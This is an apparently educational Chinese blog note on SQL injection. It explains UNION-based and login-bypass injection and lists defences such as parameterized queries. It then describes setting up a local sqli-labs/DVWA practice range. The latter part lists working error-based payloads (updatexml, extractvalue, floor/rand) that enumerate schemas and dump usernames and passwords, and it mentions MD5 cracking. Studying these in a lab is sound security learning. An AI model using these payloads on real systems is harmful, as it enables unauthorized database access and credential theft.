数据来源
本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
联合查询注入是SQL注入的一种,通过在原有的SQL语句中添加UNION(联合)操作,将恶意构造的SQL语句与应用程序的SQL语句进行联合,从而对数据库进行非法操作。攻击者可以通过这种方式获取敏感数据,或者修改、删除、插入数据。
一个典型的联合查询注入攻击示例是:假设一个Web应用程序正在执行以下 SELECT 语句以获取用户ID和密码:
SELECT user_id, password FROM users WHERE username = 'admin'
攻击者可以通过构造类似如下代码注入进行攻击:
' UNION SELECT cc_number, expiry_date FROM credit_cards --
这条注入语句可能成为以下 SQL 语句:
SELECT user_id, password FROM users WHERE username = 'admin' UNION SELECT cc_number, expiry_date FROM credit_cards --'
这个SQL语句将返回我们的目标信息: 用户名为 'admin' 的用户ID和密码,再加上从另外一张表读取到的信用卡号和过期日期。
要防止联合查询注入攻击,可以采取安全编码实践,例如使用参数化查询、限制用户输入等等。
联合查询注入的原理是攻击者构造出类似以下这些SQL语句来进行攻击:
SELECT user_id, password FROM users WHERE username = 'admin' UNION SELECT cc_number, expiry_date FROM credit_cards --
其中,第二个 SELECT 子句用于获取攻击者想要的数据(例如信用卡号和过期日期),注释符号 --
是用来取消掉输入的结尾字符以避免SQL语法错误。
攻击者可以在第一个SELECT子句中设置一个假的或无意义的条件表达式来保证语法的正确性,从而让这个恶意注入的 SQL 查询能够成功地执行。最终,返回的结果将会包括从第二个 SELECT 子句选取出来的数据与第一个 SELECT 子句的结果。
通过联合查询注入,攻击者可以通过应用程序读取到数据库中本应该被隐藏的敏感信息,如用户登录凭证、电子邮件地址、信用卡号等。
为了防止攻击者利用联合查询注入漏洞对应用程序进行攻击,在开发Web应用程序时,应使用参数化查询并验证所有用户输入,严格限制特定的字符和格式。另外,要确保具有最小访问权限的数据库账户,以限制攻击者能够获取和修改的信息内容。
手动判断SQL注入漏洞的方法包括以下几个步骤:
在应用程序的输入字段中输入单引号 '
,并观察是否出现错误消息或异常结果。如果出现错误您可能已发现了 SQL 注入漏洞。
尝试使用 SQL 特定关键字 如 SELECT
, INSERT
, UPDATE
, DELETE
, OR
和AND
等来进行测试,并观察是否返回预期之外的结果。 如果返回了敏感信息,则该应用程序可能存在 SQL 注入漏洞。
尝试添加控制字符如 \
和 %
等进行测试,这些字符可以模糊或绕过输入验证,它们可能会导致SQL注入漏洞。
查询URL参数,并在其中添加类似于 ',Or,'a'='a
的代码,并查看是否返回非预期的查询结果,在响应正文中以及浏览器地址栏中都可能看到异常信息。
请注意,尽管手动检查是一种有效的方法来检测 SQL 注入漏洞,但这往往需要较高的技术水平和知识储备。因此,在实际工作中,更推荐开发人员采用自动化方式来扫描和检测 SQL 注入漏洞,以确保应用程序的安全性。
以下是一个简单的例子来说明 SQL 注入攻击的原理:
假设有一个登录表单,用户需要输入用户名和密码才能成功登录网站。应用程序使用从前端页面获取的值来编写 SQL 查询,在没有正确验证或转义用户输入时,可能会容易受到 SQL 注入攻击。
例如,如果一个用户在用户名字段中输入以下注释符合数据组合:' OR 1 = 1 --
(注意,这里的两条短划线是为了取消剩余语句)。该字符串将被传递给后端并拼接到SQL查询字符串中。原始SQL查询可能类似于:
SELECT * FROM users WHERE username='(user input value)' AND password='(user input value)';
而由于注入了 ' OR 1 = 1 --
字符串,查询实际上会被解释为以下内容:
SELECT * FROM users WHERE username='' OR 1 = 1 --' AND password='(user input value)';
在这种情况下,OR 1 = 1
条件始终为真,因此查询将匹配到第一个满足条件的用户记录,并忽略设置的密码条件。因此,该攻击者可以跳过密码检验轻松地以任何账户名登录系统。
这就是 SQL 注入攻击的一个简单例子,它展示了攻击者如何利用未经处理的用户输入来修改应用程序的数据库查询方式,来获取受限制的数据,包括窃取敏感信息,如密码、用户身份验证令牌等。
靶场搭建:(13条消息) sqli-labs 靶场环境搭建_sqlilabs靶场_Myu_ww的博客-CSDN博客
下载并安装Phpstudy(安装过程可以一路下一步,也可以改安装路径):http://public.xp.cn/upgrades/PhpStudy2018.zip
下载好的靶场文件直接拉到www文件夹下就可以访问了:http://127.0.0.1:80/sqlilabs/Less-2/?id=1
检测方式:使用单引号或双引号,有异常报错就是存在sql注入漏洞
或者使用:' OR 1 = 1 --
order by 3 正确
http://127.0.0.1:80/sqlilabs/Less-2/?id=1 order by 3
order by 4 错误
http://127.0.0.1:80/sqlilabs/Less-2/?id=1 order by 4
说明只有3列
操作演示看这篇拉到最后一段:MySQL基础
1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #
1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
md5在线解密破解,md5解密加密
extractvalue()函数其实与updatexml()函数大同小异,都是通过xpath路径错误报错,而本人的示例中皆为利用0x7e(~),其不属于xpath语法格式,因此报出xpath语法错误。
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
小葵转换工具
太晚了,洗澡睡觉,实际操作演示有时间在补上